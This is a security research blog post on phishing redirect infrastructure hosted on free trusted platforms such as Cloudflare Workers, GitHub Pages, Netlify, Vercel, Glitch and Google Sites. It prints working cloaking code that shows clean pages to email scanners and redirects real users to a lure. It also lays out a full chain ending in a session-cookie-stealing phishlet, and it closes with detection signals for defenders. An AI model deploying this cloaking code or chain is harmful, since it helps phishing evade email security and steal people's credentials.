Home Security Phishing Redirect Abuse
Phishing Redirect Abuse Research / Writeup High

When Attackers Build Their Own Redirect Layer

When Attackers Build Their Own Redirect Layer

Platform open redirects get patched. Trusted-domain redirect features get hardened with signatures. An attacker who depends on either is one Google security update away from losing their delivery infrastructure.

The fix is to build your own redirect layer — but host it on infrastructure that email gateways already trust. Free hosting platforms with universally-allowlisted domains exist for legitimate developer use. The same platforms work fine as phishing redirect hosts.

This post documents the platforms and the techniques. The point is not to teach attack — it's to give defenders concrete things to look for in their telemetry.

The platforms

| Platform | Free subdomain | Setup time | Server-side logic | |---|---|---|---| | Cloudflare Workers | <name>.workers.dev | 2 minutes | Full JavaScript | | GitHub Pages | <user>.github.io | 5 minutes | Static HTML only | | Google Sites | sites.google.com/view/<name> | 5 minutes | Embedded JS | | Netlify | <name>.netlify.app | 2 minutes | _redirects file → 301 | | Vercel | <name>.vercel.app | 2 minutes | vercel.json config | | Glitch | <name>.glitch.me | 1 minute (anonymous) | Full Node.js | | Render | <name>.onrender.com | 5 minutes | Static or full app | | Firebase Hosting | <name>.web.app | 5 minutes | Static + rewrite rules |

All free. All trusted. All deploy instantly or within minutes. Most don't require email verification or any payment information. The domains they serve from are on every email security allowlist because legitimate businesses use them for their actual products.

Cloudflare Workers — the best option

Of all the platforms above, Cloudflare Workers is the most useful for redirect infrastructure. Three reasons:

Server-side JavaScript. Workers run actual JavaScript on every request, so the redirect logic can be conditional. You can serve a clean page to scanners and a real redirect to users.

ASN access. Workers receive request.cf.asn as part of the incoming request — Cloudflare's edge has already done the ASN lookup. You don't need to call an external IP reputation service. The visitor's ASN is sitting in the request object.

Instant deploy. A Worker goes live within seconds of saving. No content review. No domain verification.

A minimal redirect Worker looks like this:

export default {chr(10)async fetch(request) {chr(10)const asn = request.cf?.asn?.toString() || "";chr(10)const ua = (request.headers.get("User-Agent") || "").toLowerCase();chr(10)chr(10)// Known scanner ASNs — serve clean contentchr(10)const scannerASNs = ["8075", "15169", "16509", "14618", "20940"];chr(10)// Microsoft, Google, AWS, CloudFront, Akamaichr(10)chr(10)const scannerUAs = ["bot", "spider", "crawl", "scan", "preview"];chr(10)chr(10)if (scannerASNs.includes(asn) || scannerUAs.some(s => ua.includes(s))) {chr(10)return new Response(chr(10)"<html><body>Document is loading...</body></html>",chr(10){ headers: { "Content-Type": "text/html" } }chr(10));chr(10)}chr(10)chr(10)return Response.redirect("https://lure.example.com/", 302);chr(10)}chr(10)}

This Worker checks the visitor's ASN and User-Agent. If either matches known scanner infrastructure (Microsoft's ASN 8075 = Defender Safe Links, Google's ASN 15169 = Google scanning) or the UA contains a bot string, the Worker returns a blank "loading" page. Real users get the 302 redirect.

The URL in the email is https://my-redirect.workers.dev. The email gateway sees workers.dev — Cloudflare-owned infrastructure, on every allowlist. The gateway follows the URL, requests the Worker, the Worker checks its ASN, sees Microsoft, returns the blank page. Scanner logs: page content is clean, link is fine. Email is delivered.

When the real user clicks from their home network, the Worker sees a residential ASN, returns the 302, and the user is on the phishlet.

This is fundamentally different from the Twitter open redirect we discussed in the previous post. The Twitter redirect always fires for Chrome-like UAs — including scanner Chrome instances. The Worker decides per-request whether to redirect at all.

GitHub Pages — static but trusted

The classic technique. Create a free GitHub account, make a new repo named <username>.github.io, push a single index.html:

<!DOCTYPE html>chr(10)<html>chr(10)<head>chr(10)<meta http-equiv="refresh" content="0; url=https://lure.example.com/">chr(10)<script>window.location.replace("https://lure.example.com/");</script>chr(10)</head>chr(10)<body>Loading document...</body>chr(10)</html>

The page goes live at https://<username>.github.io within minutes.

GitHub Pages can't do server-side conditional logic — it's static hosting. The redirect is meta-refresh plus JS, which means HTTP-only scanners stop at github.io (200 OK, no Location header), see the body "Loading document..." which has no obviously malicious content, and pass. Sandbox scanners that render the page follow the redirect to the destination, but that's the standard scanner path — the destination needs its own defenses.

The trust argument: github.io is GitHub's CDN domain for user pages. GitHub is Microsoft. Every developer's documentation site, every open-source project's landing page, every conference's CTF challenge is hosted on github.io. Blocking it would break enormous amounts of legitimate traffic.

GitHub's content moderation will eventually catch sustained phishing campaigns, but the response time is hours to days. Most phishing campaigns run for hours.

Netlify and Vercel — HTTP 302 with one line of config

Netlify supports redirect rules via a _redirects file:

/*    https://lure.example.com/    302

That's it. Two columns: source path pattern, destination URL. Drag the folder into Netlify's dashboard, the site is live at https://<name>.netlify.app, every path returns a proper HTTP 302 to the destination.

Vercel does the same thing via vercel.json:

{chr(10)"redirects": [chr(10){ "source": "/(.*)", "destination": "https://lure.example.com/", "permanent": false }chr(10)]chr(10)}

Both platforms host legitimate web apps for thousands of companies. Their domains are universally allowlisted. The redirect is a real HTTP 302, so HTTP-following scanners reach the destination — but the destination's defenses do the rest of the work.

The difference from Workers: no conditional logic. The 302 fires for every visitor, scanner or human. So you lose the ASN-fingerprinting protection that Workers provide. You gain the trust of netlify.app / vercel.app as the first-hop domain.

Glitch — anonymous Node.js with no account

Glitch supports anonymous project creation — no email, no signup. You write a small Node.js / Express app and it runs at https://<name>.glitch.me. The redirect logic looks similar to the Cloudflare Worker:

const express = require('express');chr(10)const app = express();chr(10)chr(10)app.get('*', (req, res) => {chr(10)const ua = (req.get('User-Agent') || '').toLowerCase();chr(10)if (['bot', 'spider', 'crawl', 'preview'].some(s => ua.includes(s))) {chr(10)res.send('<html><body>Loading...</body></html>');chr(10)} else {chr(10)res.redirect(302, 'https://lure.example.com/');chr(10)}chr(10)});chr(10)chr(10)app.listen(3000);

glitch.me is less universally trusted than github.io or workers.dev — some email gateways apply higher scrutiny to it because phishing campaigns have used it before. But the anonymous-deployment property makes it operationally clean. No account to compromise, no recovery email to deanonymize.

Google Sites — Google-domain redirect for free

sites.google.com lets any Google account create published pages with custom HTML embeds. The URL of the published page is https://sites.google.com/view/<random-name> — Google-owned, maximum trust.

The redirect mechanism is an embedded JavaScript snippet that calls window.top.location.replace():

<script>window.top.location.replace("https://lure.example.com/");</script>

Google Sites serves the embed inside an iframe. The window.top reference breaks out of the iframe and redirects the parent page. Most browsers allow this.

The limitation: Google's abuse detection on Sites is more active than on Workers or GitHub Pages. Phishing pages on sites.google.com get taken down in hours, sometimes minutes. For long-running infrastructure this isn't great. For a single-day campaign it works fine — Google's response time exceeds the campaign window.

The complete chain

Putting it together, a redirect chain using attacker-built infrastructure plus the Twitter open redirect from the previous post:

Email link:chr(10)https://my-redirect.workers.dev/chr(10)chr(10)[Hop 1] Cloudflare Workerchr(10)- Checks request.cf.asnchr(10)- If scanner ASN: returns "Loading..." HTML pagechr(10)- If real user: HTTP 302 to next hopchr(10)│chr(10)▼chr(10)[Hop 2] twitter.com/logout?redirect_after_logout=https://lure.example.com/chr(10)- Trusted brand domainchr(10)- HTTP 302 to lurechr(10)chr(10)│chr(10)▼chr(10)[Hop 3] Cloudflare Turnstile gate at lure.example.comchr(10)- Bot/scanner: fails challenge, sees "Verifying..."chr(10)- Real user: passes invisiblychr(10)│chr(10)▼chr(10)[Hop 4] Phishlet (proxied Microsoft / Yahoo / LinkedIn login)chr(10)- Captures session cookies

Each layer closes a different scanner technique:

  • Worker ASN check filters datacenter-IP scanners before any redirect fires
  • Twitter URL provides first-hop brand trust to the gateway
  • Turnstile catches scanners that use residential proxies or unusual ASNs
  • Phishlet captures the credentials

At no automated layer does a scanner see the actual phishing page. The only detection paths left are out-of-band: certificate transparency log monitoring catching the lure domain's cert before the campaign runs, post-delivery Entra ID sign-in log correlation catching the session use after the victim is already phished, or a human analyst manually clicking through the chain.

What defenders should be looking for

You cannot block workers.dev, github.io, netlify.app, or sites.google.com. Every one of them serves enormous amounts of legitimate traffic. The defensive signals are downstream:

  • Multi-hop redirect chains in external emails. Real business email does not typically route through Workers → Twitter → some unknown subdomain. A redirect chain of 3+ hops with at least one hop on a free hosting platform is a strong signal.
  • Destination domain age. Regardless of how many trusted hops precede it, a chain terminating at a domain registered in the last 30 days is suspicious. This is something we built into the redirect_analyzer tool — it does a TLS handshake to the final destination and reports cert age.
  • Certificate Transparency log monitoring. A defensive team watching CT logs for newly-issued certificates on lookalike domains catches the lure infrastructure before the first email is sent.
  • workers.dev links in external email body. Specifically check this. Legitimate business email rarely contains links to other people's Cloudflare Workers. When it does, those links are usually documentation or developer-tool deep links. A workers.dev link in an external email from outside your organization's trusted vendor list is worth a closer look.
  • Turnstile presence on destination pages. This is harder to detect from the email layer but is captured by browser extensions like the planned LexLab AiTM Shield. A page that fires a Turnstile challenge as a gate to a credential form, when the brand presented is one that does not use Turnstile (Microsoft 365, Gmail, LinkedIn, Yahoo all do not use Turnstile on their real login pages), is a high-confidence phishing signal.

The defense isn't blocking infrastructure. It's correlating properties of the chain that are individually plausible and collectively damning.

In the next post we walk through the tool we built — redirect_analyzer.py — and how to use it on suspicious links your users have reported.

Share:
Previous The Twitter Open Redirect Nobody Patched Next redirect_analyzer: A Free Tool to Trace Phishing Redirect Chains

More in Phishing Redirect Abuse